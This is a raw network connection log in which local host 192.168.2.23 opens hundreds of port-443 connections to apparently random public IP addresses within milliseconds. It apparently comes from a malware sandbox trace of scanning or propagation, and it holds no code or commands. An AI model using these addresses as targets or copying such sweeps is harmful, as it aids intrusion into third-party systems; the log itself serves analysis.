Dec 27, 2024 05:02:50.665144920 CET	14257	443	192.168.2.23	212.90.78.7
Dec 27, 2024 05:02:50.665148973 CET	14257	443	192.168.2.23	148.211.118.86
Dec 27, 2024 05:02:50.665149927 CET	14257	443	192.168.2.23	5.212.77.183
Dec 27, 2024 05:02:50.665157080 CET	14257	443	192.168.2.23	5.4.176.116
Dec 27, 2024 05:02:50.665174007 CET	14257	443	192.168.2.23	118.147.16.113
Dec 27, 2024 05:02:50.665179014 CET	14257	443	192.168.2.23	94.244.117.240
Dec 27, 2024 05:02:50.665179014 CET	14257	443	192.168.2.23	5.38.31.181
Dec 27, 2024 05:02:50.665188074 CET	14257	443	192.168.2.23	5.106.79.92
Dec 27, 2024 05:02:50.665188074 CET	14257	443	192.168.2.23	178.166.251.65
Dec 27, 2024 05:02:50.665194035 CET	14257	443	192.168.2.23	5.100.51.79
Dec 27, 2024 05:02:50.665195942 CET	14257	443	192.168.2.23	5.239.198.12
Dec 27, 2024 05:02:50.665199041 CET	14257	443	192.168.2.23	117.249.87.237
Dec 27, 2024 05:02:50.665201902 CET	14257	443	192.168.2.23	2.49.156.56
Dec 27, 2024 05:02:50.665204048 CET	14257	443	192.168.2.23	5.51.240.11
Dec 27, 2024 05:02:50.665219069 CET	14257	443	192.168.2.23	117.3.232.11
Dec 27, 2024 05:02:50.665225029 CET	14257	443	192.168.2.23	117.11.50.18
Dec 27, 2024 05:02:50.665225983 CET	14257	443	192.168.2.23	2.162.244.181
Dec 27, 2024 05:02:50.665230036 CET	14257	443	192.168.2.23	42.25.79.54
Dec 27, 2024 05:02:50.665235043 CET	14257	443	192.168.2.23	37.75.198.129
Dec 27, 2024 05:02:50.665246964 CET	14257	443	192.168.2.23	94.152.211.89
Dec 27, 2024 05:02:50.665251970 CET	14257	443	192.168.2.23	178.131.49.212
Dec 27, 2024 05:02:50.665258884 CET	14257	443	192.168.2.23	2.225.157.206
Dec 27, 2024 05:02:50.665261030 CET	14257	443	192.168.2.23	37.186.160.33
Dec 27, 2024 05:02:50.665277958 CET	14257	443	192.168.2.23	210.6.208.101
Dec 27, 2024 05:02:50.665277958 CET	14257	443	192.168.2.23	178.16.89.137
Dec 27, 2024 05:02:50.665281057 CET	14257	443	192.168.2.23	5.76.140.24
Dec 27, 2024 05:02:50.665294886 CET	14257	443	192.168.2.23	109.249.34.156
Dec 27, 2024 05:02:50.665298939 CET	14257	443	192.168.2.23	123.74.96.122
Dec 27, 2024 05:02:50.665302038 CET	14257	443	192.168.2.23	79.131.170.210
Dec 27, 2024 05:02:50.665312052 CET	14257	443	192.168.2.23	117.45.241.1
Dec 27, 2024 05:02:50.665312052 CET	14257	443	192.168.2.23	5.254.13.189
Dec 27, 2024 05:02:50.665314913 CET	14257	443	192.168.2.23	117.178.213.162
Dec 27, 2024 05:02:50.665319920 CET	14257	443	192.168.2.23	109.132.182.180
Dec 27, 2024 05:02:50.665333033 CET	14257	443	192.168.2.23	94.41.162.214
Dec 27, 2024 05:02:50.665335894 CET	14257	443	192.168.2.23	2.203.246.163
Dec 27, 2024 05:02:50.665337086 CET	14257	443	192.168.2.23	178.116.73.82
Dec 27, 2024 05:02:50.665339947 CET	14257	443	192.168.2.23	42.132.109.208
Dec 27, 2024 05:02:50.665354967 CET	14257	443	192.168.2.23	212.72.187.158
Dec 27, 2024 05:02:50.665355921 CET	14257	443	192.168.2.23	109.183.49.32
Dec 27, 2024 05:02:50.665360928 CET	14257	443	192.168.2.23	79.172.196.57
Dec 27, 2024 05:02:50.665366888 CET	14257	443	192.168.2.23	148.151.96.171
Dec 27, 2024 05:02:50.665373087 CET	14257	443	192.168.2.23	2.173.169.62
Dec 27, 2024 05:02:50.665396929 CET	14257	443	192.168.2.23	212.253.80.236
Dec 27, 2024 05:02:50.665399075 CET	14257	443	192.168.2.23	37.26.198.53
Dec 27, 2024 05:02:50.665400982 CET	14257	443	192.168.2.23	42.39.225.39
Dec 27, 2024 05:02:50.665426016 CET	14257	443	192.168.2.23	178.205.48.178
Dec 27, 2024 05:02:50.665426016 CET	14257	443	192.168.2.23	42.217.2.94
Dec 27, 2024 05:02:50.665426970 CET	14257	443	192.168.2.23	123.153.252.20
Dec 27, 2024 05:02:50.665427923 CET	14257	443	192.168.2.23	123.105.9.228
Dec 27, 2024 05:02:50.665429115 CET	14257	443	192.168.2.23	2.239.218.18
Dec 27, 2024 05:02:50.665463924 CET	14257	443	192.168.2.23	94.126.152.89
Dec 27, 2024 05:02:50.665467024 CET	14257	443	192.168.2.23	210.156.6.62
Dec 27, 2024 05:02:50.665469885 CET	14257	443	192.168.2.23	2.213.195.244
Dec 27, 2024 05:02:50.665494919 CET	14257	443	192.168.2.23	212.82.79.43
Dec 27, 2024 05:02:50.665494919 CET	14257	443	192.168.2.23	109.173.234.54
Dec 27, 2024 05:02:50.665503979 CET	14257	443	192.168.2.23	123.169.26.123
Dec 27, 2024 05:02:50.665528059 CET	14257	443	192.168.2.23	148.94.214.181
Dec 27, 2024 05:02:50.665528059 CET	14257	443	192.168.2.23	118.60.125.165
Dec 27, 2024 05:02:50.665545940 CET	14257	443	192.168.2.23	117.9.221.208
Dec 27, 2024 05:02:50.665546894 CET	14257	443	192.168.2.23	109.107.70.183
Dec 27, 2024 05:02:50.665549994 CET	14257	443	192.168.2.23	123.41.254.161
Dec 27, 2024 05:02:50.665560007 CET	14257	443	192.168.2.23	5.60.114.114
Dec 27, 2024 05:02:50.665580034 CET	14257	443	192.168.2.23	210.153.125.124
Dec 27, 2024 05:02:50.665580034 CET	14257	443	192.168.2.23	5.219.228.52
Dec 27, 2024 05:02:50.665580988 CET	14257	443	192.168.2.23	202.83.107.43
Dec 27, 2024 05:02:50.665584087 CET	14257	443	192.168.2.23	109.129.90.66
Dec 27, 2024 05:02:50.665601969 CET	14257	443	192.168.2.23	5.241.86.4
Dec 27, 2024 05:02:50.665602922 CET	14257	443	192.168.2.23	118.232.252.180
Dec 27, 2024 05:02:50.665605068 CET	14257	443	192.168.2.23	202.254.45.207
Dec 27, 2024 05:02:50.665605068 CET	14257	443	192.168.2.23	210.67.231.67
Dec 27, 2024 05:02:50.665605068 CET	14257	443	192.168.2.23	123.192.147.147
Dec 27, 2024 05:02:50.665610075 CET	14257	443	192.168.2.23	118.132.162.178
Dec 27, 2024 05:02:50.665625095 CET	14257	443	192.168.2.23	42.227.217.155
Dec 27, 2024 05:02:50.665626049 CET	14257	443	192.168.2.23	109.219.122.192
Dec 27, 2024 05:02:50.665625095 CET	14257	443	192.168.2.23	148.134.43.123
Dec 27, 2024 05:02:50.665627956 CET	14257	443	192.168.2.23	37.85.0.192
Dec 27, 2024 05:02:50.665632963 CET	14257	443	192.168.2.23	123.88.162.73
Dec 27, 2024 05:02:50.665648937 CET	14257	443	192.168.2.23	37.114.180.97
Dec 27, 2024 05:02:50.665651083 CET	14257	443	192.168.2.23	118.242.9.183
Dec 27, 2024 05:02:50.665651083 CET	14257	443	192.168.2.23	210.145.20.212
Dec 27, 2024 05:02:50.665652990 CET	14257	443	192.168.2.23	118.33.151.88
Dec 27, 2024 05:02:50.665668964 CET	14257	443	192.168.2.23	79.249.73.103
Dec 27, 2024 05:02:50.665668964 CET	14257	443	192.168.2.23	2.174.182.168
Dec 27, 2024 05:02:50.665671110 CET	14257	443	192.168.2.23	148.80.129.65
Dec 27, 2024 05:02:50.665676117 CET	14257	443	192.168.2.23	79.202.28.87
Dec 27, 2024 05:02:50.665688038 CET	14257	443	192.168.2.23	117.71.152.132
Dec 27, 2024 05:02:50.665692091 CET	14257	443	192.168.2.23	202.116.42.208
Dec 27, 2024 05:02:50.665693045 CET	14257	443	192.168.2.23	123.115.124.210
Dec 27, 2024 05:02:50.665694952 CET	14257	443	192.168.2.23	37.200.139.143
Dec 27, 2024 05:02:50.665698051 CET	14257	443	192.168.2.23	109.217.114.250
Dec 27, 2024 05:02:50.665703058 CET	14257	443	192.168.2.23	117.229.136.32
Dec 27, 2024 05:02:50.665709019 CET	14257	443	192.168.2.23	148.230.240.179
Dec 27, 2024 05:02:50.665729046 CET	14257	443	192.168.2.23	2.91.12.126
Dec 27, 2024 05:02:50.665730000 CET	14257	443	192.168.2.23	79.31.75.240
Dec 27, 2024 05:02:50.665730953 CET	14257	443	192.168.2.23	210.213.4.181
Dec 27, 2024 05:02:50.665730953 CET	14257	443	192.168.2.23	37.218.43.54
Dec 27, 2024 05:02:50.665734053 CET	14257	443	192.168.2.23	148.207.246.173
Dec 27, 2024 05:02:50.665736914 CET	14257	443	192.168.2.23	37.141.119.139
Dec 27, 2024 05:02:50.665736914 CET	14257	443	192.168.2.23	210.203.66.108
Dec 27, 2024 05:02:50.665749073 CET	14257	443	192.168.2.23	37.69.157.84
Dec 27, 2024 05:02:50.665756941 CET	14257	443	192.168.2.23	109.141.95.137
Dec 27, 2024 05:02:50.665760040 CET	14257	443	192.168.2.23	178.193.87.15
Dec 27, 2024 05:02:50.665760040 CET	14257	443	192.168.2.23	202.4.163.208
Dec 27, 2024 05:02:50.665760040 CET	14257	443	192.168.2.23	202.61.163.86
Dec 27, 2024 05:02:50.665767908 CET	14257	443	192.168.2.23	42.172.133.58
Dec 27, 2024 05:02:50.665769100 CET	14257	443	192.168.2.23	148.55.188.159
Dec 27, 2024 05:02:50.665775061 CET	14257	443	192.168.2.23	148.236.25.82
Dec 27, 2024 05:02:50.665781975 CET	14257	443	192.168.2.23	5.16.181.29
Dec 27, 2024 05:02:50.665790081 CET	14257	443	192.168.2.23	202.5.85.128
Dec 27, 2024 05:02:50.665802956 CET	14257	443	192.168.2.23	178.246.165.45
Dec 27, 2024 05:02:50.665803909 CET	14257	443	192.168.2.23	37.254.10.158
Dec 27, 2024 05:02:50.665807009 CET	14257	443	192.168.2.23	42.104.110.187
Dec 27, 2024 05:02:50.665807962 CET	14257	443	192.168.2.23	42.91.78.63
Dec 27, 2024 05:02:50.665807962 CET	14257	443	192.168.2.23	202.119.102.62
Dec 27, 2024 05:02:50.665812016 CET	14257	443	192.168.2.23	148.136.17.71
Dec 27, 2024 05:02:50.665816069 CET	14257	443	192.168.2.23	109.227.64.205
Dec 27, 2024 05:02:50.665828943 CET	14257	443	192.168.2.23	42.157.168.168
Dec 27, 2024 05:02:50.665829897 CET	14257	443	192.168.2.23	212.241.193.150
Dec 27, 2024 05:02:50.665833950 CET	14257	443	192.168.2.23	37.70.224.41
Dec 27, 2024 05:02:50.665833950 CET	14257	443	192.168.2.23	118.114.113.228
Dec 27, 2024 05:02:50.665843964 CET	14257	443	192.168.2.23	109.36.242.53
Dec 27, 2024 05:02:50.665847063 CET	14257	443	192.168.2.23	123.166.112.133
Dec 27, 2024 05:02:50.665848970 CET	14257	443	192.168.2.23	2.27.87.141
Dec 27, 2024 05:02:50.665853977 CET	14257	443	192.168.2.23	42.27.179.140
Dec 27, 2024 05:02:50.665853977 CET	14257	443	192.168.2.23	2.51.78.174
Dec 27, 2024 05:02:50.665863991 CET	14257	443	192.168.2.23	109.213.240.131
Dec 27, 2024 05:02:50.665874004 CET	14257	443	192.168.2.23	212.248.80.102
Dec 27, 2024 05:02:50.665875912 CET	14257	443	192.168.2.23	79.142.23.184
Dec 27, 2024 05:02:50.665884018 CET	14257	443	192.168.2.23	178.36.158.39
Dec 27, 2024 05:02:50.665888071 CET	14257	443	192.168.2.23	37.71.99.145
Dec 27, 2024 05:02:50.665889978 CET	14257	443	192.168.2.23	178.230.185.229
Dec 27, 2024 05:02:50.665905952 CET	14257	443	192.168.2.23	212.236.118.180
Dec 27, 2024 05:02:50.665905952 CET	14257	443	192.168.2.23	109.187.90.54
Dec 27, 2024 05:02:50.665918112 CET	14257	443	192.168.2.23	5.96.233.4
Dec 27, 2024 05:02:50.665920973 CET	14257	443	192.168.2.23	118.124.237.58
Dec 27, 2024 05:02:50.665924072 CET	14257	443	192.168.2.23	178.204.132.157
Dec 27, 2024 05:02:50.665926933 CET	14257	443	192.168.2.23	79.197.219.110
Dec 27, 2024 05:02:50.665931940 CET	14257	443	192.168.2.23	109.64.159.4
Dec 27, 2024 05:02:50.665942907 CET	14257	443	192.168.2.23	79.175.133.167
Dec 27, 2024 05:02:50.665945053 CET	14257	443	192.168.2.23	178.153.97.253
Dec 27, 2024 05:02:50.665961981 CET	14257	443	192.168.2.23	42.178.42.69
Dec 27, 2024 05:02:50.665962934 CET	14257	443	192.168.2.23	202.208.194.144
Dec 27, 2024 05:02:50.665967941 CET	14257	443	192.168.2.23	117.128.223.178
Dec 27, 2024 05:02:50.665971994 CET	14257	443	192.168.2.23	94.67.82.134
Dec 27, 2024 05:02:50.665977001 CET	14257	443	192.168.2.23	94.199.95.242
Dec 27, 2024 05:02:50.665977001 CET	14257	443	192.168.2.23	212.85.122.136
Dec 27, 2024 05:02:50.665980101 CET	14257	443	192.168.2.23	109.7.111.86
Dec 27, 2024 05:02:50.665994883 CET	14257	443	192.168.2.23	37.46.8.113
Dec 27, 2024 05:02:50.665997982 CET	14257	443	192.168.2.23	79.66.48.60
Dec 27, 2024 05:02:50.666002989 CET	14257	443	192.168.2.23	109.226.114.215
Dec 27, 2024 05:02:50.666007042 CET	14257	443	192.168.2.23	210.137.248.249
Dec 27, 2024 05:02:50.666019917 CET	14257	443	192.168.2.23	37.94.146.212
Dec 27, 2024 05:02:50.666028023 CET	14257	443	192.168.2.23	148.147.148.139
Dec 27, 2024 05:02:50.666028976 CET	14257	443	192.168.2.23	118.125.212.241
Dec 27, 2024 05:02:50.666028976 CET	14257	443	192.168.2.23	210.133.40.131
Dec 27, 2024 05:02:50.666030884 CET	14257	443	192.168.2.23	37.12.20.196
Dec 27, 2024 05:02:50.666035891 CET	14257	443	192.168.2.23	123.72.194.186
Dec 27, 2024 05:02:50.666035891 CET	14257	443	192.168.2.23	210.227.145.108
Dec 27, 2024 05:02:50.666055918 CET	14257	443	192.168.2.23	202.72.60.103
Dec 27, 2024 05:02:50.666059017 CET	14257	443	192.168.2.23	210.34.131.171
Dec 27, 2024 05:02:50.666066885 CET	14257	443	192.168.2.23	5.18.10.94
Dec 27, 2024 05:02:50.666074991 CET	14257	443	192.168.2.23	148.219.143.193
Dec 27, 2024 05:02:50.666074991 CET	14257	443	192.168.2.23	117.25.39.59
Dec 27, 2024 05:02:50.666078091 CET	14257	443	192.168.2.23	117.208.67.145
Dec 27, 2024 05:02:50.666088104 CET	14257	443	192.168.2.23	212.180.134.168
Dec 27, 2024 05:02:50.666095018 CET	14257	443	192.168.2.23	79.38.119.88
Dec 27, 2024 05:02:50.666110992 CET	14257	443	192.168.2.23	118.173.45.152
Dec 27, 2024 05:02:50.666111946 CET	14257	443	192.168.2.23	202.61.206.214
Dec 27, 2024 05:02:50.666111946 CET	14257	443	192.168.2.23	148.129.36.180
Dec 27, 2024 05:02:50.666111946 CET	14257	443	192.168.2.23	178.51.238.125
Dec 27, 2024 05:02:50.666119099 CET	14257	443	192.168.2.23	79.174.40.34
Dec 27, 2024 05:02:50.666132927 CET	14257	443	192.168.2.23	109.246.82.245
Dec 27, 2024 05:02:50.666134119 CET	14257	443	192.168.2.23	118.129.5.180
Dec 27, 2024 05:02:50.666132927 CET	14257	443	192.168.2.23	42.187.39.55
Dec 27, 2024 05:02:50.666151047 CET	14257	443	192.168.2.23	118.66.167.173
Dec 27, 2024 05:02:50.666152954 CET	14257	443	192.168.2.23	109.38.141.133
Dec 27, 2024 05:02:50.666155100 CET	14257	443	192.168.2.23	5.89.199.243
Dec 27, 2024 05:02:50.666162968 CET	14257	443	192.168.2.23	210.244.248.93
Dec 27, 2024 05:02:50.666171074 CET	14257	443	192.168.2.23	5.3.134.214
Dec 27, 2024 05:02:50.666179895 CET	14257	443	192.168.2.23	117.6.31.128
Dec 27, 2024 05:02:50.666183949 CET	14257	443	192.168.2.23	2.246.63.199
Dec 27, 2024 05:02:50.666184902 CET	14257	443	192.168.2.23	2.175.143.103
Dec 27, 2024 05:02:50.666184902 CET	14257	443	192.168.2.23	109.137.76.233
Dec 27, 2024 05:02:50.666197062 CET	14257	443	192.168.2.23	37.78.109.54
Dec 27, 2024 05:02:50.666203976 CET	14257	443	192.168.2.23	117.34.6.112
Dec 27, 2024 05:02:50.666203976 CET	14257	443	192.168.2.23	94.66.243.238
Dec 27, 2024 05:02:50.666219950 CET	14257	443	192.168.2.23	5.9.234.62
Dec 27, 2024 05:02:50.666220903 CET	14257	443	192.168.2.23	148.211.85.90
Dec 27, 2024 05:02:50.666224003 CET	14257	443	192.168.2.23	118.214.164.175
Dec 27, 2024 05:02:50.666233063 CET	14257	443	192.168.2.23	178.52.94.68
Dec 27, 2024 05:02:50.666238070 CET	14257	443	192.168.2.23	42.93.67.82
Dec 27, 2024 05:02:50.666244030 CET	14257	443	192.168.2.23	37.255.0.82
Dec 27, 2024 05:02:50.666244030 CET	14257	443	192.168.2.23	118.207.244.0
Dec 27, 2024 05:02:50.666246891 CET	14257	443	192.168.2.23	117.7.24.240
Dec 27, 2024 05:02:50.666249037 CET	14257	443	192.168.2.23	2.127.98.204
Dec 27, 2024 05:02:50.666256905 CET	14257	443	192.168.2.23	210.114.90.152
Dec 27, 2024 05:02:50.666266918 CET	14257	443	192.168.2.23	5.35.204.70
Dec 27, 2024 05:02:50.666271925 CET	14257	443	192.168.2.23	37.9.213.175
Dec 27, 2024 05:02:50.666274071 CET	14257	443	192.168.2.23	2.148.186.6
Dec 27, 2024 05:02:50.666277885 CET	14257	443	192.168.2.23	94.94.26.64
Dec 27, 2024 05:02:50.666287899 CET	14257	443	192.168.2.23	5.173.231.60
Dec 27, 2024 05:02:50.666297913 CET	14257	443	192.168.2.23	5.14.170.189
Dec 27, 2024 05:02:50.666297913 CET	14257	443	192.168.2.23	79.146.73.193
Dec 27, 2024 05:02:50.666297913 CET	14257	443	192.168.2.23	94.222.228.16
Dec 27, 2024 05:02:50.666299105 CET	14257	443	192.168.2.23	212.150.201.245
Dec 27, 2024 05:02:50.666300058 CET	14257	443	192.168.2.23	118.11.79.99
Dec 27, 2024 05:02:50.666313887 CET	14257	443	192.168.2.23	118.46.46.110
Dec 27, 2024 05:02:50.666316986 CET	14257	443	192.168.2.23	117.49.54.52
Dec 27, 2024 05:02:50.666320086 CET	14257	443	192.168.2.23	123.211.212.82
Dec 27, 2024 05:02:50.666325092 CET	14257	443	192.168.2.23	94.225.134.8
Dec 27, 2024 05:02:50.666331053 CET	14257	443	192.168.2.23	118.124.57.13
Dec 27, 2024 05:02:50.666333914 CET	14257	443	192.168.2.23	117.238.243.52
Dec 27, 2024 05:02:50.666346073 CET	14257	443	192.168.2.23	94.33.160.109
Dec 27, 2024 05:02:50.666348934 CET	14257	443	192.168.2.23	94.190.245.224
Dec 27, 2024 05:02:50.666349888 CET	14257	443	192.168.2.23	178.248.145.224
Dec 27, 2024 05:02:50.666351080 CET	14257	443	192.168.2.23	148.8.17.14
Dec 27, 2024 05:02:50.666364908 CET	14257	443	192.168.2.23	210.170.24.69
Dec 27, 2024 05:02:50.666372061 CET	14257	443	192.168.2.23	109.206.82.229
Dec 27, 2024 05:02:50.666376114 CET	14257	443	192.168.2.23	212.107.199.222
Dec 27, 2024 05:02:50.666384935 CET	14257	443	192.168.2.23	109.141.7.228
Dec 27, 2024 05:02:50.666393042 CET	14257	443	192.168.2.23	42.135.67.31
Dec 27, 2024 05:02:50.666394949 CET	14257	443	192.168.2.23	202.204.223.210
Dec 27, 2024 05:02:50.666395903 CET	14257	443	192.168.2.23	109.72.206.202
Dec 27, 2024 05:02:50.666408062 CET	14257	443	192.168.2.23	118.4.64.162
Dec 27, 2024 05:02:50.666408062 CET	14257	443	192.168.2.23	202.38.17.115
Dec 27, 2024 05:02:50.666415930 CET	14257	443	192.168.2.23	94.121.101.200
Dec 27, 2024 05:02:50.666424036 CET	14257	443	192.168.2.23	212.18.36.195
Dec 27, 2024 05:02:50.666424036 CET	14257	443	192.168.2.23	178.113.157.122
Dec 27, 2024 05:02:50.666426897 CET	14257	443	192.168.2.23	212.69.164.103
Dec 27, 2024 05:02:50.666429996 CET	14257	443	192.168.2.23	109.211.5.207
Dec 27, 2024 05:02:50.666445971 CET	14257	443	192.168.2.23	210.81.115.3
Dec 27, 2024 05:02:50.666448116 CET	14257	443	192.168.2.23	37.100.243.54
Dec 27, 2024 05:02:50.666448116 CET	14257	443	192.168.2.23	210.249.120.141
Dec 27, 2024 05:02:50.666448116 CET	14257	443	192.168.2.23	2.203.237.22
Dec 27, 2024 05:02:50.666462898 CET	14257	443	192.168.2.23	210.0.201.185
Dec 27, 2024 05:02:50.666466951 CET	14257	443	192.168.2.23	212.255.115.105
Dec 27, 2024 05:02:50.666470051 CET	14257	443	192.168.2.23	212.76.47.199
Dec 27, 2024 05:02:50.666471004 CET	14257	443	192.168.2.23	212.183.100.114
Dec 27, 2024 05:02:50.666472912 CET	14257	443	192.168.2.23	94.193.251.81
Dec 27, 2024 05:02:50.666477919 CET	14257	443	192.168.2.23	178.6.177.121
Dec 27, 2024 05:02:50.666497946 CET	14257	443	192.168.2.23	118.201.67.32
Dec 27, 2024 05:02:50.666497946 CET	14257	443	192.168.2.23	37.120.209.109
Dec 27, 2024 05:02:50.666497946 CET	14257	443	192.168.2.23	2.152.197.69
Dec 27, 2024 05:02:50.666502953 CET	14257	443	192.168.2.23	202.90.101.74
Dec 27, 2024 05:02:50.666505098 CET	14257	443	192.168.2.23	79.227.162.20
Dec 27, 2024 05:02:50.666507959 CET	14257	443	192.168.2.23	5.107.39.230
Dec 27, 2024 05:02:50.666521072 CET	14257	443	192.168.2.23	178.68.62.93
Dec 27, 2024 05:02:50.666521072 CET	14257	443	192.168.2.23	42.113.188.116
Dec 27, 2024 05:02:50.666537046 CET	14257	443	192.168.2.23	148.148.157.182
Dec 27, 2024 05:02:50.666537046 CET	14257	443	192.168.2.23	94.116.184.121
Dec 27, 2024 05:02:50.666541100 CET	14257	443	192.168.2.23	148.229.204.204
Dec 27, 2024 05:02:50.666543007 CET	14257	443	192.168.2.23	37.96.103.108
Dec 27, 2024 05:02:50.666554928 CET	14257	443	192.168.2.23	202.234.168.4
Dec 27, 2024 05:02:50.666554928 CET	14257	443	192.168.2.23	79.235.182.177
Dec 27, 2024 05:02:50.666559935 CET	14257	443	192.168.2.23	37.190.82.235
Dec 27, 2024 05:02:50.666579962 CET	14257	443	192.168.2.23	5.68.66.112
Dec 27, 2024 05:02:50.666585922 CET	14257	443	192.168.2.23	109.144.110.207
Dec 27, 2024 05:02:50.666587114 CET	14257	443	192.168.2.23	178.191.110.24
Dec 27, 2024 05:02:50.666588068 CET	14257	443	192.168.2.23	118.228.71.120
Dec 27, 2024 05:02:50.666593075 CET	14257	443	192.168.2.23	148.153.39.241
Dec 27, 2024 05:02:50.666606903 CET	14257	443	192.168.2.23	37.160.151.165
Dec 27, 2024 05:02:50.666608095 CET	14257	443	192.168.2.23	118.222.44.188
Dec 27, 2024 05:02:50.666608095 CET	14257	443	192.168.2.23	178.225.208.196
Dec 27, 2024 05:02:50.666611910 CET	14257	443	192.168.2.23	109.59.176.37
Dec 27, 2024 05:02:50.666629076 CET	14257	443	192.168.2.23	79.99.137.22
Dec 27, 2024 05:02:50.666629076 CET	14257	443	192.168.2.23	79.48.20.254
Dec 27, 2024 05:02:50.666630030 CET	14257	443	192.168.2.23	202.63.186.143
Dec 27, 2024 05:02:50.666630030 CET	14257	443	192.168.2.23	210.23.208.240
Dec 27, 2024 05:02:50.666631937 CET	14257	443	192.168.2.23	5.203.177.235
Dec 27, 2024 05:02:50.666631937 CET	14257	443	192.168.2.23	5.96.109.90
Dec 27, 2024 05:02:50.666649103 CET	14257	443	192.168.2.23	37.106.229.118
Dec 27, 2024 05:02:50.666650057 CET	14257	443	192.168.2.23	123.119.132.81
Dec 27, 2024 05:02:50.666657925 CET	14257	443	192.168.2.23	178.159.17.206
Dec 27, 2024 05:02:50.666657925 CET	14257	443	192.168.2.23	210.1.87.27
Dec 27, 2024 05:02:50.666671038 CET	14257	443	192.168.2.23	123.242.140.29
Dec 27, 2024 05:02:50.666671991 CET	14257	443	192.168.2.23	212.118.48.23
Dec 27, 2024 05:02:50.666675091 CET	14257	443	192.168.2.23	42.128.41.17
Dec 27, 2024 05:02:50.666676998 CET	14257	443	192.168.2.23	210.183.144.77
Dec 27, 2024 05:02:50.666688919 CET	14257	443	192.168.2.23	37.241.231.5
Dec 27, 2024 05:02:50.666688919 CET	14257	443	192.168.2.23	118.66.234.57
Dec 27, 2024 05:02:50.666688919 CET	14257	443	192.168.2.23	5.231.146.43
Dec 27, 2024 05:02:50.666693926 CET	14257	443	192.168.2.23	117.38.242.239
Dec 27, 2024 05:02:50.666697025 CET	14257	443	192.168.2.23	2.22.115.138
Dec 27, 2024 05:02:50.666702986 CET	14257	443	192.168.2.23	42.189.6.127
Dec 27, 2024 05:02:50.666703939 CET	14257	443	192.168.2.23	94.229.246.196
Dec 27, 2024 05:02:50.666717052 CET	14257	443	192.168.2.23	109.4.2.228
Dec 27, 2024 05:02:50.666718960 CET	14257	443	192.168.2.23	109.127.78.12
Dec 27, 2024 05:02:50.666718960 CET	14257	443	192.168.2.23	94.201.113.88
Dec 27, 2024 05:02:50.666721106 CET	14257	443	192.168.2.23	210.216.141.63
Dec 27, 2024 05:02:50.666733027 CET	14257	443	192.168.2.23	5.72.214.114
Dec 27, 2024 05:02:50.666737080 CET	14257	443	192.168.2.23	123.52.63.253
Dec 27, 2024 05:02:50.666743040 CET	14257	443	192.168.2.23	212.158.193.223
Dec 27, 2024 05:02:50.666747093 CET	14257	443	192.168.2.23	117.220.170.64
Dec 27, 2024 05:02:50.666769981 CET	14257	443	192.168.2.23	178.109.231.37
Dec 27, 2024 05:02:50.666776896 CET	14257	443	192.168.2.23	5.204.120.241
Dec 27, 2024 05:02:50.666783094 CET	14257	443	192.168.2.23	2.194.150.11
Dec 27, 2024 05:02:50.666784048 CET	14257	443	192.168.2.23	37.188.41.216
Dec 27, 2024 05:02:50.666800022 CET	14257	443	192.168.2.23	123.176.239.95
Dec 27, 2024 05:02:50.666800976 CET	14257	443	192.168.2.23	123.32.216.90
Dec 27, 2024 05:02:50.666801929 CET	14257	443	192.168.2.23	5.87.192.37
Dec 27, 2024 05:02:50.666805029 CET	14257	443	192.168.2.23	109.106.47.54
Dec 27, 2024 05:02:50.666821003 CET	14257	443	192.168.2.23	148.116.171.118
Dec 27, 2024 05:02:50.666822910 CET	14257	443	192.168.2.23	210.139.1.148
Dec 27, 2024 05:02:50.666847944 CET	14257	443	192.168.2.23	2.214.106.58
Dec 27, 2024 05:02:50.666851997 CET	14257	443	192.168.2.23	37.214.55.193
Dec 27, 2024 05:02:50.666852951 CET	14257	443	192.168.2.23	109.243.57.93
Dec 27, 2024 05:02:50.666857958 CET	14257	443	192.168.2.23	210.139.227.211
Dec 27, 2024 05:02:50.666872025 CET	14257	443	192.168.2.23	37.92.74.184
Dec 27, 2024 05:02:50.666872025 CET	14257	443	192.168.2.23	109.36.227.9
Dec 27, 2024 05:02:50.666877985 CET	14257	443	192.168.2.23	202.252.10.118
Dec 27, 2024 05:02:50.666878939 CET	14257	443	192.168.2.23	210.234.189.93
Dec 27, 2024 05:02:50.666887045 CET	14257	443	192.168.2.23	94.212.126.180
Dec 27, 2024 05:02:50.666889906 CET	14257	443	192.168.2.23	178.222.22.55
Dec 27, 2024 05:02:50.666897058 CET	14257	443	192.168.2.23	117.80.134.122
Dec 27, 2024 05:02:50.666906118 CET	14257	443	192.168.2.23	2.178.169.33
Dec 27, 2024 05:02:50.666912079 CET	14257	443	192.168.2.23	117.233.121.130
Dec 27, 2024 05:02:50.666915894 CET	14257	443	192.168.2.23	2.219.0.7
Dec 27, 2024 05:02:50.666919947 CET	14257	443	192.168.2.23	42.11.140.42
Dec 27, 2024 05:02:50.666928053 CET	14257	443	192.168.2.23	212.29.239.193
Dec 27, 2024 05:02:50.666934967 CET	14257	443	192.168.2.23	5.84.214.188
Dec 27, 2024 05:02:50.666938066 CET	14257	443	192.168.2.23	210.179.152.104
Dec 27, 2024 05:02:50.666941881 CET	14257	443	192.168.2.23	2.14.186.177
Dec 27, 2024 05:02:50.666943073 CET	14257	443	192.168.2.23	178.94.204.127
Dec 27, 2024 05:02:50.666945934 CET	14257	443	192.168.2.23	94.186.110.43
Dec 27, 2024 05:02:50.666945934 CET	14257	443	192.168.2.23	210.8.46.69
Dec 27, 2024 05:02:50.666951895 CET	14257	443	192.168.2.23	79.141.154.34
Dec 27, 2024 05:02:50.666959047 CET	14257	443	192.168.2.23	2.71.39.0
Dec 27, 2024 05:02:50.666982889 CET	14257	443	192.168.2.23	42.48.208.21
Dec 27, 2024 05:02:50.666990042 CET	14257	443	192.168.2.23	37.44.224.251
Dec 27, 2024 05:02:50.666992903 CET	14257	443	192.168.2.23	202.226.110.40
Dec 27, 2024 05:02:50.667009115 CET	14257	443	192.168.2.23	178.72.216.17
Dec 27, 2024 05:02:50.667009115 CET	14257	443	192.168.2.23	5.71.86.146
Dec 27, 2024 05:02:50.667016983 CET	14257	443	192.168.2.23	42.214.9.178
Dec 27, 2024 05:02:50.667017937 CET	14257	443	192.168.2.23	118.44.209.251
Dec 27, 2024 05:02:50.667057991 CET	14257	443	192.168.2.23	37.3.122.59
Dec 27, 2024 05:02:50.667058945 CET	14257	443	192.168.2.23	210.10.160.138
Dec 27, 2024 05:02:50.667059898 CET	14257	443	192.168.2.23	5.103.52.71
Dec 27, 2024 05:02:50.667062998 CET	14257	443	192.168.2.23	212.17.237.192
Dec 27, 2024 05:02:50.667066097 CET	14257	443	192.168.2.23	79.203.144.45
Dec 27, 2024 05:02:50.667068958 CET	14257	443	192.168.2.23	5.92.144.162
